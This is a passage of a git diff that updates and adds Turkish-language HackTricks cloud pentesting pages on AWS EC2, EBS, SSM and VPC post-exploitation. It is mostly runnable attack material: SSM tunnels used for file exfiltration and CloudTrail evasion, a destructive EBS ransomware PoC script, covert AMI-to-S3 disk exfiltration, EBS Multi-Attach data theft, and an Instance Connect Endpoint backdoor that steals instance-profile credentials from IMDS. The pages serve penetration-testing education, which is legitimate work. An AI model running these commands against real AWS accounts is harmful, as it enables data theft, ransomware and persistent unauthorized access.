kontrol edilen bir hesabın API uç noktalarını çağırabilir. Cloudtrail bu çağrıları kaydedecek ve saldırgan, sızdırılan verileri Cloudtrail günlüklerinde görebilecektir. +Bir saldırgan kendi kontrolündeki bir hesabın API endpoint'lerini çağırabilir. Cloudtrail bu çağrıları loglar ve saldırgan exfiltrate edilen verileri Cloudtrail loglarında görebilir. -### Açık Güvenlik Grubu +### Open Security Group -Ağ hizmetlerine daha fazla erişim elde etmek için portları şu şekilde açabilirsiniz: +Bu şekilde portları açarak ağ servislerine daha fazla erişim sağlayabilirsiniz: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Bir EC2 örneği çalıştırmak ve bunu ECS örneklerini çalıştırmak için kaydetmek mümkündür ve ardından ECS örneklerinin verilerini çalmak mümkündür. +Bir EC2 instance'ı çalıştırıp, onu ECS instance'larını çalıştırmak için kullanılmak üzere kaydederek, sonrasında bu ECS instance'ların verilerini çalmak mümkündür. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). ### Remove VPC flow logs ```bash @@ -95,63 +159,64 @@ Gerekli izinler: - `ssm:StartSession` -Komut yürütmenin yanı sıra, SSM, Güvenlik Grupları veya NACL'ler nedeniyle ağ erişimi olmayan EC2 örneklerinden geçiş yapmak için kötüye kullanılabilecek trafik tünellemesine izin verir. Bunun faydalı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS kümesine geçiş yapmaktır. +Komut yürütmenin yanı sıra, SSM trafik tünellemesine izin verir; bu, Security Groups veya NACLs nedeniyle ağ erişimi olmayan EC2 instance'larından pivot yapmak için kötüye kullanılabilir. +Bunun kullanışlı olduğu senaryolardan biri, bir [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) üzerinden özel bir EKS cluster'ına pivot yapmaktır. > Bir oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. Makinenizde SessionManagerPlugin'i yükleyin -2. Aşağıdaki komutla Bastion EC2'ye giriş yapın: +1. SessionManagerPlugin'i makinenize kurun +2. Aşağıdaki komutu kullanarak Bastion EC2'ye giriş yapın: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Bastion EC2 AWS geçici kimlik bilgilerini [AWS EC2 ortamında SSRF'yi kötüye kullanma](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) scripti ile alın -4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyasına `[bastion-ec2]` profili olarak aktarın +3. Bastion EC2 AWS geçici kimlik bilgilerini [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) scripti ile alın +4. Kimlik bilgilerini kendi makinenize `$HOME/.aws/credentials` dosyası içine `[bastion-ec2]` profili olarak aktarın 5. Bastion EC2 olarak EKS'e giriş yapın: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost` olarak güncelleyin -7. Aşağıdaki gibi bir SSM tüneli oluşturun: +6. `$HOME/.kube/config` dosyasındaki `server` alanını `https://localhost` adresini gösterecek şekilde güncelleyin. +7. Aşağıdaki şekilde bir SSM tüneli oluşturun: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` aracından gelen trafik artık Bastion EC2 üzerinden SSM tüneli aracılığıyla yönlendiriliyor ve kendi makinenizden özel EKS kümesine erişmek için şu komutu çalıştırabilirsiniz: +8. `kubectl` aracından gelen trafik artık SSM tüneli üzerinden Bastion EC2 aracılığıyla yönlendiriliyor ve kendi makinenizden aşağıdaki komutu çalıştırarak özel EKS cluster'a erişebilirsiniz: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Not edin ki SSL bağlantıları, `--insecure-skip-tls-verify` bayrağını (veya K8s denetim araçlarındaki eşdeğerini) ayarlamazsanız başarısız olacaktır. Trafiğin güvenli AWS SSM tüneli üzerinden tünellendiğini göz önünde bulundurursak, MitM saldırılarından korunmuş olursunuz. +Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. -Son olarak, bu teknik özel EKS kümelerine saldırmakla sınırlı değildir. Herhangi bir AWS hizmetine veya özel bir uygulamaya geçiş yapmak için rastgele alan adları ve portlar ayarlayabilirsiniz. +Son olarak, bu teknik private EKS clusters'a özgü değildir. Rastgele domain ve portlar belirleyerek başka herhangi bir AWS servisine veya özel bir uygulamaya pivot yapabilirsiniz. --- -#### Hızlı Yerel ↔️ Uzak Port Yönlendirme (AWS-StartPortForwardingSession) +#### Hızlı Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) -Eğer sadece **EC2 örneğinden yerel ana bilgisayarınıza bir TCP portunu yönlendirmeye** ihtiyacınız varsa, `AWS-StartPortForwardingSession` SSM belgesini kullanabilirsiniz (uzak ana bilgisayar parametresi gerekmez): +Eğer sadece **EC2 instance'ından local host'unuza bir TCP port** yönlendirmeniz gerekiyorsa, `AWS-StartPortForwardingSession` SSM dokümanını kullanabilirsiniz (uzak host parametresi gerekli değildir): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Komut, çalışma istasyonunuz (`localPortNumber`) ile örnekteki seçilen port (`portNumber`) arasında **herhangi bir inbound Security-Group kuralı açmadan** iki yönlü bir tünel kurar. +Bu komut, iş istasyonunuz (`localPortNumber`) ile instance üzerindeki seçili port (`portNumber`) arasında iki yönlü bir tünel oluşturur **without opening any inbound Security-Group rules**. -Yaygın kullanım senaryoları: +Yaygın kullanım durumları: -* **Dosya sızdırma** -1. Örnekte, sızdırmak istediğiniz dizine işaret eden hızlı bir HTTP sunucusu başlatın: +* **File exfiltration** +1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate: ```bash python3 -m http.server 8000 ``` -2. Çalışma istasyonunuzdan dosyaları SSM tüneli üzerinden alın: +2. From your workstation fetch the files through the SSM tunnel: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Dahili web uygulamalarına erişim (örn. Nessus)** +* **İç ağ web uygulamalarına erişim (ör. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -159,7 +224,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -İpucu: CloudTrail'in açık metin içeriğini kaydetmemesi için kanıtları dışarı aktarımından önce sıkıştırın ve şifreleyin: +İpucu: CloudTrail clear-text içeriğini kaydetmemesi için kanıtları exfiltrating etmeden önce sıkıştırıp şifreleyin: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -168,19 +233,19 @@ aws ssm start-session --target i-0123456789abcdef0 \ ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Hassas bilgileri genel ve özel AMI'lerde arama +### Kamuya açık ve özel AMIs içinde hassas bilgi arama -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **genel veya özel Amazon Machine Images (AMIs) içinde hassas bilgileri aramak için tasarlanmış bir araçtır**. Hedef AMI'lerden örnekler başlatma, hacimlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemini otomatikleştirir. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel, **kamuya açık veya özel Amazon Machine Images (AMIs) içinde hassas bilgi aramak** için tasarlanmış bir araçtır. Hedef AMI'lerden instance başlatma, volümlerini bağlama ve potansiyel sırlar veya hassas veriler için tarama işlemlerini otomatikleştirir. -### EBS Anlık Görüntüsünü Paylaş +### EBS Snapshot Paylaşımı ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer bir kanıt. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanmanın ne kadar kolay olduğu göz önüne alındığında, Ransomware Management Service (RMS) olarak yeniden adlandırılmalıdır. +S3 post-exploitation notlarındaki Ransomware gösterimine benzer bir PoC. KMS, çeşitli AWS hizmetlerini şifrelemek için kullanılmasının ne kadar kolay olduğuna bağlı olarak Ransomware Management Service anlamına gelen RMS olarak yeniden adlandırılmalı. -Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırılmıştır. +İlk olarak 'attacker' AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnekte anahtar verilerini AWS'in benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda bir malicious actor anahtar verilerini AWS'in kontrolü dışında tutardı. Key policy'yi herhangi bir AWS account Principal'ının anahtarı kullanmasına izin verecek şekilde değiştirin. Bu key policy için, hesabın adı 'AttackSim' idi ve tüm erişime izin veren policy kuralı 'Outside Encryption' olarak adlandırıldı. ``` { "Version": "2012-10-17", @@ -272,7 +337,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer ] } ``` -Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir: +The key policy kuralının bir EBS hacmini şifrelemek için kullanılabilmesine izin vermek üzere aşağıdakilerin etkinleştirilmiş olması gerekir: - `kms:CreateGrant` - `kms:Decrypt` @@ -280,21 +345,21 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmes - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Artık kullanılacak kamuya açık anahtar ile. Şifrelenmemiş EBS hacimleri ekli bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir. +Artık kullanılabilecek halka açık erişimli bir key bulundu. 'victim' hesabını kullanabiliriz; bu hesapta şifrelenmemiş EBS hacimleri bağlı EC2 instance'ları bulunuyor. Bu 'victim' hesabın EBS hacimleri hedefimizdir; bu saldırı yüksek ayrıcalıklı bir AWS hesabının varsayılan ihlali altında gerçekleştirilmektedir. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 fidye yazılımı örneğine benzer şekilde. Bu saldırı, ekli EBS hacimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından kamuya açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 örneklerinden ayıracak ve silecek, ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan anlık görüntüleri silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ransomware örneğine benzer şekilde. Bu saldırı, bağlı EBS hacimlerinin snapshot'larını alarak kopyalarını oluşturacak, 'attacker' hesabındaki halka açık key'i kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 instance'larından ayırıp silecek ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecektir. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır. +Sonuç olarak hesapta yalnızca şifrelenmiş EBS hacimleri kalır. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Ayrıca, scriptin EC2 örneklerini durdurduğunu ve orijinal EBS hacimlerini ayırıp sildiğini belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok. +Ayrıca belirtmek gerekir ki script, orijinal EBS hacimlerini ayırıp silmek için EC2 instance'larını durdurdu. Orijinal şifrelenmemiş hacimler artık yok. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dışarıda Şifreleme' politika kuralını kaldırmaktır. +Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den 'Outside Encryption' policy kuralını kaldırın. ```json { "Version": "2012-10-17", @@ -365,15 +430,15 @@ Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve a ] } ``` -Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin. Ardından 'kurban' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini eklemeyi deneyin. Hacmi ekleyebildiğinizi göreceksiniz. +Yeni ayarlanan key policy'nin yayılması için bir süre bekleyin. Ardından 'victim' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini eklemeyi deneyin. Hacmi ekleyebildiğinizi göreceksiniz. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'pending' durumundan 'stopped' durumuna sonsuza dek geri dönecektir, çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor. +Ancak şifrelenmiş EBS hacmiyle EC2 instance'ını gerçekten yeniden başlatmayı denediğinizde işlem başarısız olur ve bağlı EBS hacmi anahtar kullanılarak çözülemediği için instance 'pending' durumundan tekrar 'stopped' durumuna döner. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarını kullanarak bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim. +Bu kullanılan python script'idir. Script, 'victim' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Script, hedef AWS hesabındaki TÜM EC2 instance'lara bağlı TÜM mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 instance'ını durduracak, orijinal EBS hacimlerini ayıracak, silecek ve süreçte kullanılan tüm snapshot'ları son olarak silecektir. Bu, hedef 'victim' hesabında yalnızca şifrelenmiş EBS hacimlerinin kalmasına neden olacaktır. BU SCRIPTİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICIDIR VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarıyla bunları kurtarabilir ve snapshot'lar aracılığıyla orijinal hallerine geri döndürebilirsiniz, fakat günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istiyoruz. ``` import boto3 import argparse @@ -490,8 +555,8 @@ delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": main() ``` -## Referanslar +## Kaynaklar -- [Pentest Partners – AWS'de SSM kullanarak dosya transferi nasıl yapılır](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md new file mode 100644 index 000000000..71c3f7b32 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md @@ -0,0 +1,137 @@ +# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Özet +EC2 AMI export-to-S3 özelliğini kötüye kullanarak bir EC2 instance'ının tüm diskini S3'te tek bir raw imaj olarak dışa aktarın, ardından bunu harici bir kanal üzerinden indirin. Bu, snapshot paylaşımını önler ve her AMI için tek bir obje üretir. + +## Gereksinimler +- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` hedef instance/AMI üzerinde +- S3 (aynı Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation` +- KMS decrypt yetkisi, AMI snapshot'larını koruyan anahtar üzerinde (EBS default encryption etkinse) +- vmie.amazonaws.com servis principal'ına güvenen bir S3 bucket politikası (aşağıya bakın) + +## Etkiler +- Snapshot paylaşımı veya hesaplar arası kopyalama olmadan, instance root diskinin S3'te tam çevrimdışı (offline) olarak elde edilmesi. +- Dışa aktarılan raw imaj üzerinden kimlik bilgileri, konfigürasyon ve dosya sistemi içeriği üzerinde gizli adli inceleme (stealth forensics) yapılmasına olanak sağlar. + +## AMI Store-to-S3 ile Nasıl Dışa Aktarılır + +- Notlar: +- S3 bucket, AMI ile aynı Region'da olmalıdır. +- `us-east-1` bölgesinde `create-bucket` komutu `--create-bucket-configuration` içermemelidir. +- `--no-reboot`, instance'ı durdurmadan crash-consistent bir imaj oluşturur (daha gizli ama daha az tutarlı). + +
+Adım adım komutlar +```bash +# Vars +REGION=us-east-1 +INSTANCE_ID= +BUCKET=exfil-ami-$(date +%s)-$RANDOM + +# 1) Create S3 bucket (same Region) +if [ "$REGION" = "us-east-1" ]; then +aws s3api create-bucket --bucket "$BUCKET" --region "$REGION" +else +aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION" +fi + +# 2) (Recommended) Bucket policy to allow VMIE service to write the object +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +cat > /tmp/bucket-policy.json < + +## Kanıt Örneği + +- `describe-store-image-tasks` geçişleri: +```text +InProgress +Completed +``` +- S3 nesne meta verisi (örnek): +```json +{ +"AcceptRanges": "bytes", +"LastModified": "2025-10-08T01:31:46+00:00", +"ContentLength": 399768709, +"ETag": "\"c84d216455b3625866a58edf294168fd-24\"", +"ContentType": "application/octet-stream", +"ServerSideEncryption": "AES256", +"Metadata": { +"ami-name": "exfil-1759887010", +"ami-owner-account": "", +"ami-store-date": "2025-10-08T01:31:45Z" +} +} +``` +- Kısmi indirme, nesne erişimini kanıtlar: +```bash +ls -l /tmp/ami.bin +# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin +``` +## Gerekli IAM İzinleri + +- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks` +- S3 (export bucket üzerinde): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation` +- KMS: Eğer AMI snapshots şifreliyse, snapshot'lar tarafından kullanılan EBS KMS anahtarı için decrypt izni verin + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md new file mode 100644 index 000000000..a7e42af6b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md @@ -0,0 +1,77 @@ +# AWS - Live Data Theft via EBS Multi-Attach + +{{#include ../../../../banners/hacktricks-training.md}} + +## Özet +EBS Multi-Attach'i kötüye kullanarak aynı Availability Zone (AZ) içindeki saldırgan kontrollü bir instance'a aynı io1/io2 veri volume'unu bağlayıp canlı verileri okuyun. Paylaşılan volume'u salt-okunur olarak mount etmek, snapshot oluşturmadan kullanımda olan dosyalara anında erişim sağlar. + +## Gereksinimler +- Hedef volume: saldırgan instance ile aynı AZ'de `--multi-attach-enabled` ile oluşturulmuş io1 veya io2. +- İzinler: hedef volume/instance'lar üzerinde `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances`. +- Altyapı: Multi-Attach'i destekleyen Nitro-based instance types (C5/M5/R5 aileleri, vb.). + +## Notlar +- Salt-okunur olarak `-o ro,noload` ile mount ederek bozulma riskini azaltın ve journal replay'lerini önleyin. +- Nitro instance'larda EBS NVMe cihazı kararlı bir `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` yolu sunar (aşağıda yardımcı betik). + +## Prepare a Multi-Attach io2 volume and attach to victim + +Örnek (`us-east-1a`'da oluşturup hedefe bağlama): +```bash +AZ=us-east-1a +# Create io2 volume with Multi-Attach enabled +VOL_ID=$(aws ec2 create-volume \ +--size 10 \ +--volume-type io2 \ +--iops 1000 \ +--availability-zone $AZ \ +--multi-attach-enabled \ +--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \ +--query 'VolumeId' --output text) + +# Attach to victim instance +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf +``` +Hedefte, yeni volume'ü formatla/bağla ve hassas verileri yaz (örnek): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkfs.ext4 -F "$DEV" +sudo mkdir -p /mnt/shared +sudo mount "$DEV" /mnt/shared +echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt +sudo sync +``` +## Aynı volume'u attacker instance'a bağlayın +```bash +aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf +``` +## attacker üzerinde read-only mount yap ve verileri oku +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}" +sudo mkdir -p /mnt/steal +sudo mount -o ro,noload "$DEV" /mnt/steal +sudo cat /mnt/steal/secret.txt +``` +Beklenen sonuç: Aynı `VOL_ID` birden fazla `Attachments` (victim and attacker) gösterir ve attacker, victim tarafından yazılmış dosyaları herhangi bir snapshot oluşturmadan okuyabilir. +```bash +aws ec2 describe-volumes --volume-ids $VOL_ID \ +--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}' +``` +
+Yardımcı: NVMe aygıt yolunu Volume ID ile bul + +Nitro instances üzerinde, Volume ID'yi gömen kararlı by-id yolunu kullanın ( `vol`'dan sonraki tireyi kaldırın): +```bash +VOLNOHYP="vol${VOL_ID#vol-}" +ls -l /dev/disk/by-id/ | grep "$VOLNOHYP" +# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX... +``` +
+ +## Etkiler +- Hedef EBS hacmindeki canlı verilere, snapshots oluşturmadan anında okuma erişimi. +- Eğer read-write olarak bağlanmışsa, saldırgan kurbanın dosya sistemine müdahale edebilir (bozulma riski). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md new file mode 100644 index 000000000..2b81f3577 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md @@ -0,0 +1,113 @@ +# AWS - EC2 Instance Connect Endpoint arka kapı + geçici SSH anahtarı enjeksiyonu + +{{#include ../../../../banners/hacktricks-training.md}} + +EC2 Instance Connect Endpoint (EIC Endpoint)'i kötüye kullanarak public IP/bastion olmayan özel EC2 instance'lara gelen SSH erişimi elde etme: +- Hedef subnet içinde bir EIC Endpoint oluşturma +- Hedef SG'de EIC Endpoint SG'den gelen inbound SSH'ye izin verme +- `ec2-instance-connect:SendSSHPublicKey` ile kısa ömürlü (~60 saniye geçerli) bir SSH açık anahtarını enjekte etme +- EIC tüneli açıp instance'a pivot yaparak IMDS'den instance profile kimlik bilgilerini çalma + +Impact: bastion'ları ve public IP kısıtlamalarını atlayan, özel EC2 instance'lara gizli bir uzak erişim yolu. Saldırgan instance profile'ı üstlenebilir ve hesapta işlem yapabilir. + +## Requirements +- İzinler: +- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress` +- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel` +- Hedef Linux instance: SSH sunucusu ve EC2 Instance Connect etkin (Amazon Linux 2 veya Ubuntu 20.04+). Varsayılan kullanıcılar: `ec2-user` (AL2) veya `ubuntu` (Ubuntu). + +## Değişkenler +```bash +export REGION=us-east-1 +export INSTANCE_ID= +export SUBNET_ID= +export VPC_ID= +export TARGET_SG_ID= +export ENDPOINT_SG_ID= +# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu) +export OS_USER=ec2-user +``` +## EIC Endpoint Oluştur +```bash +aws ec2 create-instance-connect-endpoint \ +--subnet-id "$SUBNET_ID" \ +--security-group-ids "$ENDPOINT_SG_ID" \ +--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \ +--region "$REGION" \ +--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID + +# Wait until ready +while true; do +aws ec2 describe-instance-connect-endpoints \ +--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \ +--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE +grep -q 'create-complete' EIC_STATE && break +sleep 5 +done +``` +## EIC Endpoint'ten hedef instance'a trafiğe izin verin +```bash +aws ec2 authorize-security-group-ingress \ +--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \ +--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true +``` +## Geçici SSH anahtarını enjekte et ve tünel aç +```bash +# Generate throwaway key +ssh-keygen -t ed25519 -f /tmp/eic -N '' + +# Send short-lived SSH pubkey (valid ~60s) +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "$OS_USER" \ +--ssh-public-key file:///tmp/eic.pub \ +--region "$REGION" + +# Open a local tunnel to instance:22 via the EIC Endpoint +aws ec2-instance-connect open-tunnel \ +--instance-id "$INSTANCE_ID" \ +--instance-connect-endpoint-id "$(cat EIC_ID)" \ +--local-port 2222 --remote-port 22 --region "$REGION" & +TUN_PID=$!; sleep 2 + +# SSH via the tunnel (within the 60s window) +ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no +``` +## Post-exploitation kanıtı (steal instance profile credentials) +```bash +# From the shell inside the instance +curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE +curl -s 